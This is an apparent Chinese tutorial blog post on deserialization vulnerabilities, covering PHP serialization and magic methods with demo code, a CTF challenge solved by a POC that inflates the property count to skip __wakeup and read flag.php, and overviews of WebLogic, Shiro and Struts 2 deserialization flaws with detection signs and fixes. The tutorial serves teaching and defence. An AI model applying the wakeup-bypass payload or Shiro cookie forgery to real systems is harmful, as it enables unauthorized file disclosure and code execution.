首页 > 其他分享 >反序列化漏洞

反序列化漏洞

时间:2022-10-30 19:55:29浏览次数:45  
标签:调用 函数 漏洞 PHP file 字符串 序列化

反序列化漏洞

简介

PHP反序列化漏洞也叫PHP对象注入,形成的原因是程序未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行、文件操作、执行数据库操作等参数不可控。

序列化是广泛存在与PHP、Java等编程语言中的一种将有结构的对象/数组转化为无结构的字符串并储存信息的一种技术。当程序对用户的输入过滤不严格时,攻击者可以利用程序已有的函数在参数中注入某些代码,达到代码执行的效果。

序列化

以PHP语言为例,在写程序代码尤其是网站代码时,经常会构造类,并且有时候会将实例化的类作为变量进行传输。序列化就是为了减少该过程中传输内容的大小孕育而生的一种压缩方法,就是将一个类压缩成一个字符串的方法。

<?php
class userInfo{
    //定义了三个属性
    private $passwd = 'weak';
    protected $sex = 'male';
    public $name = 'huixin';

    public function modifyPasswd($passwd){
        //将函数传进来的值给passwd
        $this->passwd = $passwd;
    }

    public function getPasswd(){
        //输出passwd
        echo $this->$passwd;
    }
}

$huixin = new userInfo();                      //创建userInfo对象实例
$huixin->modifyPasswd('strong');               //调用modifyPasswd函数并将strong值传进去
$data = serialize($huixin);                    //序列化
echo $data;
?>

得到输出

O:8:"userInfo":3:{s:16:"userInfopasswd";s:6:"strong";s:6:"*sex";s:4:"male";s:4:"name";s:6:"huixin";}
  • 大括号外面表示“Object”对象名称长度为8是“userInfo”,这个对象有3个属性。
  • 打括号内表示这些属性的具体信息,及他们的值

根据属性的权限不同,在序列化中表示方法也不同。在代码中三个属性的权限分别是private,protected和public。

  1. private权限是私有权限,只能在本类中使用,子类不能继承
  2. protected权限是受保护的访问权限,即只能在类内部使用,子类可以继承这个变量
  3. public权限就是正常的变量权限,一般声明的变量权限均为public

s:16:"userInfopasswd" 是私有权限,前面加上了本类名称

s:6:"*sex" 是protected权限,前面加上了星号

s:4:"name" 是public,没有任何前缀

反序列化

反序列化与序列化是相对应的,就是将含有类信息的序列化字符串“解压缩”还原成类。

PHP魔法函数

在一定条件下不需要被调用而可以自动调用。

_wakeup()

在PHP中如果需要进行反序列化,会先检查是否存在_wakeup()函数,如果存在,则会先调用此方法,预先准备需要的资源。

<?php
class example{
    public $color = 'black';     //定义color 属性
    public function __wakeup()
    {
        $this->color = 'white';   //将white赋值给color
    }
    public function printColor(){
        echo $this->color . PHP_EOL;  //输出color
    }
}

$huixin = new example;    //实例化对象
$data = serialize($huixin);   //进行序列化
$new_huixin = unserialize($data);  //反序列化
$new_huixin->printColor();      //调用printColor()函数
?>

运行上述代码后,可以看到类属性color已经被_wakeup()函数自动调用并修改了

https://gitee.com/mightyz/huixin/raw/master/2022-10-3015:46:25QQ%E6%88%AA%E5%9B%BE20221030154617.png

_destruct()

此魔法函数会在对象的所有引用都被删除或类被销毁的时候自动调用。

<?php
class example{
    public $color = 'black';
    public function __destruct()
    {
        echo "_destruct()" . PHP_EOL;    //打印_destruct()
    }
}

echo "initializing..." . PHP_EOL;        //打印initializing...
$huixin = new example;
echo "serializing..." . PHP_EOL;         //打印serializing...
$data = serialize($huixin);             //序列化
?>

执行以上代码,可以看到在序列化类的时候,_destruct()函数自动执行了。

https://gitee.com/mightyz/huixin/raw/master/2022-10-3015:51:411.png

_construct()

此函数会在创建一个类的实例时自动调用。

<?php
class example{
    public $color = 'black';
    public function __construct()
    {
        echo "_construct()" . PHP_EOL;
    }
}

echo "initializing..." . PHP_EOL;
$huixin = new example;
echo "serializing..." . PHP_EOL;
$data = serialize($huixin);
?>

执行以上代码,可以看到在序列化之前,实例化时_construct()函数被调用了

https://gitee.com/mightyz/huixin/raw/master/2022-10-3015:56:251.png

_toString()

此魔法函数会在类被当作字符串时调用。在PHP5.2以前的版本,_toString函数只有在echo、print时才生效;PHP5.2以后版本中则可以在任何字符传环境生效(例如通过printf,是同%s修饰符),但不能用于非字符串环境(如使用%d修饰符)。自PHP5.2.0版本起,如果将一个未定义_toString()方法的对象转换成字符串,会产生E_RECOVERABLE_ERROR级别的错误。

<?php
class example{
    public $color = 'black';
    public function __toString()
    {
        return "_toString()" . PHP_EOL;   //打印_toString()
    }
}
echo "initializing..." . PHP_EOL;
$huixin = new example;
echo "echo..." . PHP_EOL;
echo $huixin;
echo "serializiing..." . PHP_EOL;
$data = serialize($huixin);
?>

执行以上代码,当实例化对象被当作字符串使用时,_toString()函数自动调用。

https://gitee.com/mightyz/huixin/raw/master/2022-10-3016:13:011.png

还有一些不太容易想到的情况也能触发此函数:

  • 反序列化对象与字符串连接
  • 反序列化对象参与格式化字符串时
  • 反序列化对象与字符串进行比较时(PHP进行比较会转换参数类型)
  • 反序列化对象参与格式化SQL语句,绑定参数时
  • 反序列化对象在经过PHP字符串函数,如strlen()、addslashes()时
  • 在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串时,toString会被调用。
  • 反序列化的对象作为class_exists()的参数时

_get()

在读取不可访问的属性值时,此魔法函数会自动调用

<?php
class example{
    public $color = 'black';
    public function __get($color)
    {
        return "_get()" . PHP_EOL;
    }
}
$huixin = new example;
echo $huixin->color;         //输出color属性
?>

执行上述代码因为试图访问私有变量color导致_get()函数自动调用

https://gitee.com/mightyz/huixin/raw/master/2022-10-3016:20:441.png

_call()

_call()是调用未定义的方法时调用的。

<?php
class example{
    private $color = 'black';
    public function __call($function, $parameters)
    {
        echo $function."(".$parameters.")".PHP_EOL;
        return "_call()" . PHP_EOL; 
    }
}

$huixin = new example;
echo $huixin->notExistFunction("patameters");    //调用未定义方法
?>

执行上述代码,_call()函数被调用。也就是说,想让调用方法未定义,那么这个方法名就会作为_call的第一个参数传入。因此不存在方法的参数会被装进数组中作为_call的第二个参数传入。

https://gitee.com/mightyz/huixin/raw/master/2022-10-3016:27:241.png

CTF中的反序列化

//题目代码
<?php
class SoFun{
    protected $file='index.php';
        function __destruct()
        {
            if(!empty($this->file)){                    //判断file参数是否为空
                if(strchr($this->file,"\\")==false && strchr($this->file,'/')==false){      //判断file是否存在\\或者/
                    show_source(dirname(__FILE__).'/'.$this->file);
                }else{
                    die('Wrong filename');
                }
            }
        }
        function __wakeup()
        {
            $this->file = 'index.php';                     //将index.php赋值给file
        }
        public function __toString()
        {
            return '';
        }
}

if(!isset($_GET['file'])){
    show_source('index.php');
}else{
    $file=base64_decode($_GET['file']);                 //进行base64编码
    echo unserialize($file);                            //反序列化
}
?>

解题思路

这道题利用PHP反序列化的一个特性,当序列化字符串中表示对象属性个数的值大于实际属性个数时,就会跳过wakeup方法的执行。此题的解题思路就是如此,通过改写序列化字符串中表示属性个数的数字,使其比真实值大,就可以跳过_wakeup()函数。

//POC
<?php
class SoFun{
    protected $file = 'flag.php';              //定义file属性并将flag.php赋给file
}
$poc = new SoFun;                              //实例化
echo serialize($poc);                          //序列化
?>

将输出的结果表示属性个数的数字加”1“,代码如下

//原始输出
O:5:"SoFun":1:{s:7:"*file";s:8:"flag.php";}
//修改
O:5:"SoFun":2:{s:7:"*file";s:8:"flag.php";}

提交的时候需要Base64

Java反序列化

WebLogic反序列化漏洞

Java中ObjectOutputStream类的writeObject()方法可以实现序列化,ObjectInputStream类的readObject()方法可以实现反序列化。

这个问题的根源在于类ObjectInputStream在反序列化时,没有对生成的对象的类型做限制;假如反序列化可以设置Java类型的白名单,安全风险会小很多。

//一般攻击者会访问两个路径,证明攻击者对应用正在进行反序列化攻击
_async/AsyncResponseService
wls-wsat/CoordinatorPortType

Shiro反序列化漏洞

Shiro使用CookieRememberMeManager这个类对Cookie中的rememberMe进行序列化,然后使用密钥进行AES加密,在进行Base64编码,最后返回客户端rememberMe Cookie。在识别用户身份时需要对rememberMe进行base64编码,然后使用密钥进行AES解密,最好进行Java反序列化。

漏洞成因:

AES加密的密钥Key被硬编码在代码里,这意味着攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,并对其进行序列化→AES加密→Base64编码,然后将其作为Cookie的rememberMe字段发送。Shiro将其进行解密并反序列化,即可造成反序列化漏洞。

漏洞特征:

在返回包的Set-Cookie中存在rememberMe=deleteMe字段

Struts 2反序列化漏洞

Struts 2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个Servlet,在MVC设计模式中,以Struts 2为控制器(Controller)来建立模型与视图的数据交互。Struts 2反序列化是一个一直存在的漏洞,并且企业内部存在非常多使用Struts 2框架的情况。

漏洞修复

  • 对传入对象进行严格的过滤检查
  • 检查在反序列化过程执行的文件读写、命令或代码执行函数中,是否有用户可控的参数
  • 通过维护一个黑名单或白名单来限制用户的输入

标签:调用,函数,漏洞,PHP,file,字符串,序列化
From: https://www.cnblogs.com/blackclouds2810/p/16842056.html

相关文章

  • pikachu php反序列化漏洞
    原理php中serialize(),unserialize()这两个函数。序列化serialize()序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:classS{publ......
  • 15.几种序列化方式
    什么是序列化关于序列化相信大家都很了解,在Java中我们经常就可以看到很多实体类或者 POJO 都会实现 Serializable 接口,有了解过 Serializable 接口的小伙伴应该都......
  • 大米cms爆破后台及支付逻辑漏洞
    又找到个网站挖洞,我来康康。大米手机是个什么鬼手机??看一下吧这个支付页面好熟悉,可能存在支付逻辑漏洞,咱们用burp改个包看看。先支付一个看看把包里那个=1改成0试试~证实确......
  • FastJson序列化和反序列化问题记录
    序列化与反序列化问题调用外部接口,http://100.111.55.67:9999/cmdb/v0.2.0/departments?page_size=1000,返回数据格式如下:{"code":0,"content":[{......
  • 任意文件下载漏洞
    任意文件下载漏洞概述网站由于业务需求,提供文件查看或下载功能,如果对用户查看或下载的文件不做限制,恶意用户就能够查看或下载任意文件,任意文件类型包含源代码文件、敏感......
  • SEED实验:缓冲区溢出漏洞实验__网络攻防实验
    sudosysctl-wkernel.randomize_va_space=0sudosucd/binrmshln-szshsh/*stack.c//Thisprogramhasabufferoverflowvulnerability.//Ourtaskis......
  • Serialzable和Parcelable的区别?Bunder传递对象为什么需要序列化?
    1Bunder传递对象为什么需要序列化?因为bundle传递数据时只支持基本数据类型,所以在传递对象时需要序列化转换成可存储或可传输的本质状态(字节流)。序列化后的对象可以在网络、......
  • 后漏洞利用阶段
    补充因本次实验所写博客篇幅过长,本篇为上篇内容的补充。上篇为Windows缓冲区溢出后漏洞利用阶段当我们利用SLMail的缓冲区溢出漏洞控制系统后,我们还要进行上传工具、提......
  • XXE漏洞
    XXE漏洞XXE概述XXE,即XML外部实体注入。该漏洞是在对不安全的外部实体数据进行处理时引发的安全问题。文档结构XML是可扩展的标记语言,设计用来进行数据的传播和存储。X......
  • 未授权访问漏洞
    未授权访问漏洞未授权访问,顾名思义是指在不进行请求授权的情况下对需要权限的功能进行访问执行。通常是由于认证页面存在缺陷、无认证,或安全配置不当导致。常见于服务端口......